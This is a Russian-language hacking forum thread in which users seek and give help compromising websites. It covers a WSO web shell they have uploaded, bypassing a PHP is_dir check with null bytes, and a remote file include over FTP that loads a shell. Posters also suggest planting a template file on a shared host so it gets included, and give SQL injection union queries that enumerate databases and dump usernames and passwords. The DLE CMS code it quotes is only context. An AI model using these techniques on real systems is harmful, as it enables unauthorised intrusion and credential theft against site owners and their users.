Залил шелл wso, начинаю делать какие-либо действия на шелле (перемещение по папкам, редактирование файлов и пр.) меня выкидывает на страницу ввод пароля(( что можно сделать?
залить повторно шелл нет возможности, дыру прикрыли...есть еще варианты? p.s оказалось вариант есть через локальный инклуд, вылетов нет
можно ли обойти проверку в is_dir PHP: if (@is_dir ($_COOKIE['abcd']) { $config = $_COOKIE['abcd']; } то есть проверку на директорию допустим нужно задать такой путь abcd = /home/www/sell.gif
Возможно. Если строка переданная в is_dir, будет наполовину обрезана нулл-байтом, а функция в которую она будет помещена, не будет его считать(Или он после будет убираться) то возможно вставить любой путь. Code: /home/www/%00sell.gif Ну и ещё один вариант: Если переменная далее будет помещена в функцию, не добавляя к ней ничего в начале(Возможно и добавляя, зависит от кода), и добавляя префикс в конце, а функция будет наподобие той, которая работает с файлами, то возможно будет передать удалённую директорию, например по протоколу FTP: PHP: $_COOKIE['abcd'] = 'ftp://10.0.0.1/'; //----------- if (@is_dir ($_COOKIE['abcd']) { include($_COOKIE['abcd'].'shell.php');//Возможны и другие функции, будет лучше если приведёшь полный код //Ну разумеется на настройки php.ini тоже следует обратить внимание } Даже если в данной ситуации путь будет неизвестен, то будет возможно запрограммировать сервер что бы передавал нужный ко по любому запросу.
продолжение кода PHP: ROOT_DIR // усатановачный путь скрипта $tpl = new dle_template ( ); // не совсем понимаю что это $tpl не просто переменная а обьект? $tpl->dir = ROOT_DIR . '/templates/' . $config; // какое-то хитрое обращение к нему вроде бы полность собираеться путь include_once $tpl->dir . '/login.tpl'; // собственно сам инклюд
Безнадёжная ситуация, но не совсем 1. Если у вас есть доступ у одному каталогу на сервере, и этот скрипт тоже туда имеет доступ, то можно туда залить файл login.tpl, а тут его проинклудить(Даже если там нет прав на выполнение, и файлы обрезаны .htaccess). - Это различные файлообменники, uploader'ы и т. д. 2. Зарегистрировать себе сайт на этом-же хостинге(и сервере), в каталоге /tmp или любом другом, который доступен для всех создать произвольную папку и файл login.tpl, и в переменную $_COOKIE['abcd'] подставить путь к нему, относительно данного сервера. Но если это не весь код, а просто участки кода из DLE: PHP: if ($category_skin != "") { $category_skin = trim( totranslit($category_skin, false, false) ); if ($category_skin != '' AND @is_dir ( ROOT_DIR . '/templates/' . $category_skin )) { $config['skin'] = $category_skin; } } elseif (isset ( $_REQUEST['action_skin_change'] )) { $_REQUEST['skin_name'] = trim( totranslit($_REQUEST['skin_name'], false, false) ); echo "!".$_REQUEST['skin_name']; if ($_REQUEST['skin_name'] != '' AND @is_dir ( ROOT_DIR . '/templates/' . $_REQUEST['skin_name'] ) ) { $config['skin'] = $_REQUEST['skin_name']; set_cookie ( "dle_skin", $_REQUEST['skin_name'], 365 ); } } elseif (isset ( $_COOKIE['dle_skin'] ) ) { $_COOKIE['dle_skin'] = trim( totranslit($_COOKIE['dle_skin'], false, false) ); if ($_COOKIE['dle_skin'] != '' AND @is_dir ( ROOT_DIR . '/templates/' . $_COOKIE['dle_skin'] )) { $config['skin'] = $_COOKIE['dle_skin']; } } PHP: function totranslit($var, $lower = true, $punkt = true) { global $langtranslit; if ( is_array($var) ) return ""; if (!is_array ( $langtranslit ) OR !count( $langtranslit ) ) { $langtranslit = array( 'а' => 'a', 'б' => 'b', 'в' => 'v', 'г' => 'g', 'д' => 'd', 'е' => 'e', 'ё' => 'e', 'ж' => 'zh', 'з' => 'z', 'и' => 'i', 'й' => 'y', 'к' => 'k', 'л' => 'l', 'м' => 'm', 'н' => 'n', 'о' => 'o', 'п' => 'p', 'р' => 'r', 'с' => 's', 'т' => 't', 'у' => 'u', 'ф' => 'f', 'х' => 'h', 'ц' => 'c', 'ч' => 'ch', 'ш' => 'sh', 'щ' => 'sch', 'ь' => '', 'ы' => 'y', 'ъ' => '', 'э' => 'e', 'ю' => 'yu', 'я' => 'ya', "ї" => "yi", "є" => "ye", 'А' => 'A', 'Б' => 'B', 'В' => 'V', 'Г' => 'G', 'Д' => 'D', 'Е' => 'E', 'Ё' => 'E', 'Ж' => 'Zh', 'З' => 'Z', 'И' => 'I', 'Й' => 'Y', 'К' => 'K', 'Л' => 'L', 'М' => 'M', 'Н' => 'N', 'О' => 'O', 'П' => 'P', 'Р' => 'R', 'С' => 'S', 'Т' => 'T', 'У' => 'U', 'Ф' => 'F', 'Х' => 'H', 'Ц' => 'C', 'Ч' => 'Ch', 'Ш' => 'Sh', 'Щ' => 'Sch', 'Ь' => '', 'Ы' => 'Y', 'Ъ' => '', 'Э' => 'E', 'Ю' => 'Yu', 'Я' => 'Ya', "Ї" => "yi", "Є" => "ye", ); } $var = trim( strip_tags( $var ) ); $var = preg_replace( "/\s+/ms", "-", $var ); $var = strtr($var, $langtranslit); if ( $punkt ) $var = preg_replace( "/[^a-z0-9\_\-.]+/mi", "", $var ); else $var = preg_replace( "/[^a-z0-9\_\-]+/mi", "", $var ); $var = preg_replace( '#[\-]+#i', '-', $var ); if ( $lower ) $var = strtolower( $var ); $var = str_ireplace( ".php", "", $var ); $var = str_ireplace( ".php", ".ppp", $var ); if( strlen( $var ) > 200 ) { $var = substr( $var, 0, 200 ); if( ($temp_max = strrpos( $var, '-' )) ) $var = substr( $var, 0, $temp_max ); } return $var; } Там нет уязвимостей, поскольку функция totranslit всё надёжно вырезает.
в моей версии в init.php totranslit не вызываеться по факту все спец символы проходят http://forum.antichat.ru/threadnav52195-8-10.html проблема только в @is_dir
есть sql-inj у меня есть доступ к определённой базе sql, но на сервере есть ещё базы, могу ли я каким-нибудь образом получить к ним доступ? (знаю названия таблиц и колонок)
Если конечно данного кода там тоже нет(Поставлен print вместо die): PHP: $url = html_entity_decode( urldecode( $_SERVER['QUERY_STRING'] ) ); $url = str_replace( "\\", "/", $url ); if( $url ) { if( (strpos( $url, '<' ) !== false) || (strpos( $url, '>' ) !== false) || (strpos( $url, '"' ) !== false) || (strpos( $url, './' ) !== false) || (strpos( $url, '../' ) !== false) ||(strpos( $url, '\'' ) !== false) || (strpos( $url, '.php' ) !== false) ) { if( $_GET['do'] != "search" or $_GET['subaction'] != "search" ) print( "Hacking attempt!" ); } } $url = html_entity_decode( urldecode( $_SERVER['REQUEST_URI'] ) ); $url = str_replace( "\\", "/", $url ); if( $url ) { if( (strpos( $url, '<' ) !== false) || (strpos( $url, '>' ) !== false) || (strpos( $url, '"' ) !== false) || (strpos( $url, '\'' ) !== false) ) { if( $_GET['do'] != "search" or $_GET['subaction'] != "search" ) print( "Hacking attempt!" ); } } И соблюдены пункт 1 или 2, или есть шелл на соседе(Или можно создать произвольный файл тут, или в темпе), то да. Ссылку в ПМ.
унаёшь названия других баз: Code: select schema_name from information_schema.schemata далее в запросах указываешь в какой базе находится таблица: Code: select column_name from schema_name.table_name
я думаю понятно что это не сам запрос, а конструкция. и что здесь не аргументы, а названия. а вот что это такое мне не понятно
Ребята, подскажите PLZ .... есть сайт с SQL inject. .... таблицы нашёл ..... поля в нужных таблицах тож нашёл ..... но при попытке вытащить нужную инфу из таблицы вылетает такого рода ошибка - "Table '*******.members' doesn't exist" ..... Как я понял таблица находится в др базе ..... если в запросе укзываю блаблабла from localhost.members , то вылетает такая ошибка - "SELECT command denied to user '*******'@'localhost' for table 'members'" ..... как выйти из положения ? если выход есть ..... заранее спасибо !
лол что? 1. выполняй "union select database()"; 2. потом "union select concat_ws(0x3a,username,password) from REZULTAT_PERVOGO_ZAPROSA.members limit 0,1"; 3. Profit!